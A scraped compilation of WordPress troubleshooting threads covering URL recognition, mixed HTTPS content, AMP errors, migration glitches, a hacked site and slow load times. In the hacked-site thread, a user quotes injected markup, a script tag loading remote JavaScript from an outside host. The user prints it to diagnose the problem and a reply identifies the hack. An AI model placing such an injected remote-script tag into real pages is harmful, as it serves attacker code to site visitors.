My URLs loads but pagespeed or cloudflare do not recognize them - wordpress

I am working on new online store, it is being developed in WordPress. I have set URL permalink and everything seems to be working fine, unfortunatelly, when I run a speed test on "google pagespeed" it says We couldn't load ...(URL)....verify URL is valid. If I remove the https:// and try clicking on Analyze button several times, then it works, but this is not normal. Besides that, I have recently set up cloudflare to use CDN and improve the loading speed, and when I try running a speed test I get the message: myvtechnologies.com/ does not point to an HTML page. Check your URL is correct before you run another test.
My domain: myvtechnologies.com, the page is under construction, but you can click on any product and see what I report.
I have already contacted GoDaddy to get support on this, but they say everything is OK from their side. I would like all links to work propperly.

Related

Mixed Content: The page at 'https://example.com' was loaded over HTTPS, but requested an insecure stylesheet error in Wordpress site

Instead of genuine Mixed Content issue this seemed like more of a Wordpress issue hence posting here to find a resolution.
I have everything setup to work with https, though there is no valid certificate yet. here is the home page url https://tourpoule.nl. The home page loads but with Mixed content errors which seem to be generated by core Wordpress or theme functions. Attaching image:
Database does not have any url which would start with http://. I already have replaced them using search and replace script.
There is nothing in htaccess file except basic Wordpress setup code. I tried renaming it as well. I cleared all types of cache but still it does not work. The site is using twentytwenty theme and if I comment out css and javascript enque lines, some of the errors disappear but styles and scripts do not load(that is normal I know).
In the view source of page it shows mixed urls, some with https and style and javascript urls without https. see below:
Interestingly if I click a stylesheet url i.e. http://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0 it redirects to https://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0
I am not sure what is going on and have got struck. I am not able to reach the client so that we can discuss turning ssl redirection off in nginx for this domain where it is redirecting everything to https if it is not https. Not sure if that is causing issue (I believe it is not as it has nothing to do with Wordpress mechanism to generate urls). Any help or direction is greatly appreciated.
I can see your website is still unsecured, for what it's worth, get yourself letsencrypt ssl.
Back to you question, go to your database, open the wp_options table, change the siteurl item to https://tourpoules.nl and also change the home item to https://tourpoules.nl.
If you have used search and replace DB master script or plugin it will not update inside meta files as well as and check for the function file have you Enqueue with https://
So will be better if you download SQL file and replace with below:
From:
http://new.tourpoules.nl
To
https://new.tourpoules.nl
and re-upload again

Wordpress AMP pages not setting up throwing error 'Non-existent changeset UUID.'

I have setup the AMP plugin in WordPress but while going to see the AMP pages (Appearence->AMP), I saw an error "Non-existent changeset UUID".
Also there is message in console says,
"Failed to execute 'postMessage' on 'DOMWindow': The target origin provided ('https://test.com') does not match the recipient window's origin ('https://test.ve.staging.wpengine.com')."
Please help me to resolved it out.
I've recently taken over administration of a website that has historically been ... poorly managed, and upon trying to use WordPress' built in theme customizer, I was greeted with the same message: "Non-existent changeset UUID.", although I didn't get any related messages in the console.
Apparently my issue was caused by the fact that one of the people who set up the site to begin with had decided to put the public site at www.example.com and the WordPress admin pages at example.com/__wp.
If this is your issue, you basically have two options.
Make sure to log in at both domains.
This may be a little difficult since WordPress' login page is part of the admin portion of the site and thus only logs you in to the admin portion of the site, however this proved to be a good temporary solution for me as there was a plugin installed which added a login widget on the public portion of the site.
Change the WordPress Address to be on the same domain as your Site Address.
The Option appears under Settings > General, but in my case I couldn't change the WordPress Address setting there and had to go into the WordPress database in our company's MySQL server.
After dealing with the above issues, I discovered that this issue had also caused a bunch of resources to be incorrectly loaded from example.com that should have been loading from www.example.com, as well as a number of leftovers from the site's development that were causing some resources not to load because the database thought they were at localhost.
With the help of another Stack Overflow answer I found a Database Search and Replace Script in PHP by interconnect/it (also available on GitHub) which allowed me to repair the mess previous people had made of the website without making a new mess with incorrectly serialized data, or all of the work of manually, correctly serializing the data I needed to change.

Wordpress edit post/page screen is messed up

I've transferred my wordpress website from a shared hosting to a linux VPS.
Everything is working fine instead of one thing. I'm getting realy weird pages for editing posts/pages.
I'm not sure how to name it and can't find anything on google about it, so I hope someone here can send me in the right direction.
Screenshot
At a quick glance, looks like a browser caching issue. Try the following:
Clear browser cache/cookies etc. and restart the browser/PC
Check with a different browser
Depending on how you migrated (transferred) the site, it is possible that all files did not get transferred fully and/or the database did not get imported fully. If 1. and 2. above fail, delete everything from the VPS and try again.
I'm sure when you check the network tab or console in inspect element on chrome, you will receive a lot of 404 errors because it is not able to load the required files for some reason.
What you can try is to add define('CONCATENATE_SCRIPTS', false) into your wp-config.php file. What this does is load all the javascript files individually, instead of one concatenated file.
Question: Are you using the same domain on your VPS? Or are you accessing the site on your VPS through a different domain? If so, you might want to update your database to correspond with the domain you're testing with now. Because this can cause strange behavior as well.

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Slim Site, Not many requests, High load time

I have been optimising my site for load time and have managed to get my site down to <700kb with only 34 requests.
However, it's still not exactly snappy. On http://tools.pingdom.com/ it is apparently "slower than 75% of tested sites". Which is strange for a sub-1mb site with not many requests. The site is www.succeedenglish.com. It has just launched and is seeing about 30 visitors per day so it can't be traffic volume.
The problem I guess is the server. When I run a test on Pingdom, the URL makes up 5.5 seconds of a 6.25 second load time. A similar result is seen on http://www.webpagetest.org/
What does that URL mean? and how can I solve it?
The site is on WordPress with a Bluehost shared plan. I know shared isn't the best but it should be able to handle such a small site with so few visitors.
I'd really really appreciate any help. Thanks in advance.
After having a look at the speed test on pingdom, I noticed something that is unnecessarily adding 2.2 seconds to the load time. The URL request is being doubled.
Heres why, when you try to access www.succeedenglish.com you will notice that your wordpress website is redirecting to succeedenglish.com (without the www).
I did a test without the www and its faster:
http://tools.pingdom.com/fpt/#!/dM0eyP/succeedenglish.com
This is because the website URL in the settings found in the WP backend is set without the "www".
Heres my suggestion, login to the backend of wordpress and update the URL to include the "www".
You will find the fields to update under "General Settings". You will have to update 2 fields: "WordPress Address (URL)" and "Site Address (URL)"
That will sort out the unnecessary redirect onload.
However, if you also have images (image URLs) within posts and custom fields (used by some plugins), you would need to update all the URLs throughout the database.
To do this you can use a simple plugin called Velvet Blues Update URLs.
https://wordpress.org/plugins/velvet-blues-update-urls/
You can install it via the WordPress backend and then access the plugin here: Tools -> Update URLs.
What you want to do is replace all "http://succeedenglish.com/" urls with "http://www.succeedenglish.com/". Please remember to include the "http://", otherwise you will end up with incorrect URLs, just be cautious
Just be sure to check out the plugins instructions.
This will improve the load time.
Let me know if you come right.

Resources